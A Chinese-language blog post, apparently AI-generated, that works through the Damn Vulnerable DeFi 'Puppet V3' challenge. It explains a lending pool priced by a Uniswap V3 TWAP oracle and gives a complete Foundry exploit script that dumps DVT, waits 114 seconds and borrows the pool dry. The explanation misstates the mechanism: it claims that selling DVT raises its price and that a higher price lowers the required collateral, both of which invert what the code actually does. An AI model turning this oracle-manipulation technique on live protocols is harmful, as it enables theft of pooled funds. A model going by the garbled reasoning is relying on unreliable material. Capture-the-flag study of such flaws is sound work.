Skip to content
On this page

玩转 Uniswap V3:Puppet V3 挑战,一次惊心动魄的 DeFi 抢救行动!

DeFi 的世界,无论是牛市还是熊市,真正的开发者们都在持续创新。你是否还记得我们上次联手拯救的那个借贷池?好消息是,它的新版本已经上线!

这一次,它引入了一个重大的升级:不再依赖简单的现货价格,而是巧妙地利用 Uniswap V3 的时间加权平均价格(TWAP)作为预言机。 这意味着什么?更精确、更鲁棒的价格参考,以及对复杂市场波动的更佳适应。

在这个充满挑战的世界里,Uniswap 市场摆放着 100 WETH 和 100 DVT 的流动性。而我们岌岌可危的借贷池,则储备着高达一百万的 DVT 代币。

你的任务,就是以手中仅有的 1 ETH 和少量 DVT 作为起点,从这个脆弱的借贷池中解救出所有的 DVT 代币,并将它们安全地送往指定的回收账户。

(重要提示: 此挑战需要一个有效的 RPC URL,以便将以太坊主网的状态复刻到你的本地开发环境中。)

深入解析:PuppetV3Pool 的漏洞

Puppet V3 挑战的核心在于理解 PuppetV3Pool 合约的 borrow 函数。该函数允许用户通过存入一定量的 WETH 来借出 DVT 代币。关键在于,它计算所需 WETH 存款的公式:

solidity
function calculateDepositOfWETHRequired(uint256 amount) public view returns (uint256) {
    uint256 quote = _getOracleQuote(_toUint128(amount)); // 获取 TWAP 预估的 WETH 价格
    return quote * DEPOSIT_FACTOR; // 乘以 3 倍的存款系数
}

这里的 _getOracleQuote 函数调用了 OracleLibrary.consult 来获取 Uniswap V3 池的 TWAP,并利用 OracleLibrary.getQuoteAtTick 计算出指定数量 DVT 对应的 WETH 价格。

挑战点在哪里?

  1. TWAP 的时效性: TWAP 的计算依赖于过去一段时间的价格平均值。如果攻击者能够操纵 Uniswap V3 池中的价格,就能影响 TWAP 的结果。
  2. 高额的存款系数: DEPOSIT_FACTOR 为 3。这意味着,借出 1 DVT 需要存入价值 3 DVT 的 WETH。这本身是为了增加借贷池的安全性,但如果价格被操纵,攻击者就能以极低的成本“买入”大量 DVT,再利用这个机制借出更多。

攻击思路:操纵价格,釜底抽薪

我们的目标是清空借贷池中的 DVT。攻击思路如下:

  1. 准备阶段:

    • 将手中的 ETH 兑换成 DVT。
    • 利用 INonfungiblePositionManager 在 Uniswap V3 中创建流动性,或者更简单地,操纵现有流动性池的价格。
    • 关键一步: 在较短的时间内(TWAP 周期内),通过大量的交易(例如,将 WETH 换成 DVT),抬高 DVT 在 Uniswap V3 中的价格。这样,TWAP 也会相应提高。
  2. 借贷阶段:

    • 在 DVT 价格被操纵至高位后,调用 PuppetV3Poolborrow 函数,借出池中几乎所有的 DVT 代币。 因为此时 DVT 的 TWAP 价格很高,按照 DEPOSIT_FACTOR 计算出的所需 WETH 存款会相对较低,远低于 DVT 的实际价值。
    • 重要细节: 题目要求在 skip(114 seconds) 后进行借贷,这是为了让 Uniswap V3 的 TWAP 计算能够包含一个足够长的周期,使得我们操纵的价格能够被 TWAP 捕捉到。
  3. 清算与回收:

    • 将借出的 DVT 代币全部转移到指定的 recovery 地址。
    • 最后,检查借贷池是否已被清空,以及回收地址是否收到了预期的 DVT 代币。

攻击脚本(题目答案解析)

solidity
function test_puppetV3() public checkSolvedByPlayer {
    // 1. 将玩家的 ETH 兑换成 WETH,因为 PuppetV3Pool 使用 WETH 作为抵押品
    weth.deposit{value: PLAYER_INITIAL_ETH_BALANCE}();

    // 2. 批准 DVT 和 WETH 给 Uniswap V3 Router,以便进行交易
    token.approve(address(swapRouter), type(uint256).max);
    weth.approve(address(swapRouter), type(uint256).max);

    // 3. 关键的操纵价格步骤:
    //    我们将玩家拥有的 DVT 全部卖出(兑换成 WETH),从而在 Uniswap V3 池中抬高 DVT 的价格。
    //    这里的 `amountIn: token.balanceOf(player)` 是将玩家所有的 DVT 都用于交易。
    ISwapRouter.ExactInputSingleParams memory params =
        ISwapRouter.ExactInputSingleParams({
            tokenIn: address(token), // 输入代币是 DVT
            tokenOut: address(weth), // 输出代币是 WETH
            fee: FEE,               // Uniswap V3 的 fee tier
            recipient: player,      // 交易结果(WETH)的接收者是玩家
            deadline: block.timestamp, // 交易截止时间
            amountIn: token.balanceOf(player), // 输入代币的数量
            amountOutMinimum: 0, // 最小输出数量,设置为 0 以便强制执行交易
            sqrtPriceLimitX96: 0 // 价格限制,设置为 0 表示不设限制
        });
    swapRouter.exactInputSingle(params);

    // 4. 等待足够的时间,让 TWAP 能够反映出我们操纵过的价格。
    //    题目要求跳过 114 秒,这比 TWAP_PERIOD (10 minutes) 要短,但可能足以使 OracleLibrary 
    //    在 `consult` 时返回一个受近期高价影响的 TWAP 值。
    skip(114 seconds);

    // 5. 准备借贷:
    //    计算需要借出的 DVT 数量,即借贷池中所有的 DVT。
    uint256 borrowAmount = token.balanceOf(address(lendingPool));
    //    批准 WETH 给借贷池,用于抵押。
    weth.approve(address(lendingPool), type(uint256).max);
    //    执行借贷操作。此时,由于 DVT 价格被抬高,借贷池会按照高 TWAP 价格计算所需的 WETH,
    //    并允许我们以相对较低的 WETH 数量借走大量的 DVT。
    lendingPool.borrow(borrowAmount);
    //    将借到的 DVT 代币全部转移到回收地址。
    token.transfer(recovery, borrowAmount);
}

总结:

Puppet V3 挑战巧妙地结合了 Uniswap V3 的 TWAP 预言机和 DeFi 借贷池的脆弱性。通过精准的价格操纵,我们能够以极小的成本“套取”借贷池中的资产。这不仅是一次技术实操,更是对 DeFi 经济模型中预言机安全性和抵押机制深入理解的考验。

准备好迎接这场惊心动魄的 DeFi 抢救行动了吗?让我们一起,在代码的世界里,守护 DeFi 的未来!

Built with AiAda